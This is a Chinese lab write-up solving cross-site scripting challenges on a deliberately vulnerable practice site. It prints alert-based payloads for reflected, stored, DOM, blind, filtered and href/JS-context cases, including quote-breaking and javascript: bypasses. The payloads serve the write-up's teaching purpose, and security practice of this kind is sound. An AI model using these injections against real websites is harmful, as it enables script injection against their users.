前言
高数啊 咋整啊 我还没复习qwq马上考试啊
xss我之前做过一个靶场xss-labs但好像没写文章可惜(看我写的看不懂的先学习xss知识点 可以使用xss-lab练习)
我写的是题解 不同的xss区别自己搜索吧
概述
反射性xss(get)
直接在框里写有字数限制
发现是get类型在url后面写?message=<script>alert()</script>&submit=提交
反射性xss(post)
先登录进去
是之前弱密码的账号和密码
尝试<script>alert()</script>和1一样就是get类型变成了post类型 需要额外抓包
存储型xss
进入后发现了一个留言板 发现写的东西会回显在下面
直接<script>alert()</script> 这种xss也是问题最严重的
DOM型xss
右键查看源代码发现
|------------------------------------------------------------------------------------------|
| function domxss(){ |
| var str = document.getElementById("text").value; |
| document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; |
| } |
a href='"+str+"' 我们让str=' onclick='alert(123)'
再点击就可以触发了
DOM型xss-x
右键查看源代码发现
|--------------------------------------------------------------------------------------|
| function domxss(){ |
| var str = window.location.search; |
| var txss = decodeURIComponent(str.split("text=")1); |
| var xss = txss.replace(/\+/g,' '); |
| // alert(xss); |
| |
| document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>"; |
| } |
正则表示过滤了'+'???
没啥区别啊
还是' onclick='alert(123)'
xss盲打
没啥过滤
直接<script>alert()</script>

我们等下源码上说的后台

登录后发现有弹窗说明是对的
xss之过滤
我们尝试<script>alert()</script>时会发现
显示别说()
不用()试试
<img src=x onerror=alert(1)>
ok解决
xss之htmlspecialchars
htmlspecialchars搜下函数就知道时练啥了
同时时链接的形式
' onclick='alert(123)' 没过滤引号 实际上一般会过滤
xss之href输出
' onclick='alert(123)' 不行
看源码发现
<a href='" onclick='alert(123)''> 阁下自己输入的url还请自己点一下吧</a>
引号也格式化了
我们利用js协议
javascript:alert()>a-alert
xss之js输出
看着源码补齐
'alert();//
通过//注释后面
总结
没啥东西 几乎都是之前再xss-lab见过的 之前就写完了懒的写博客
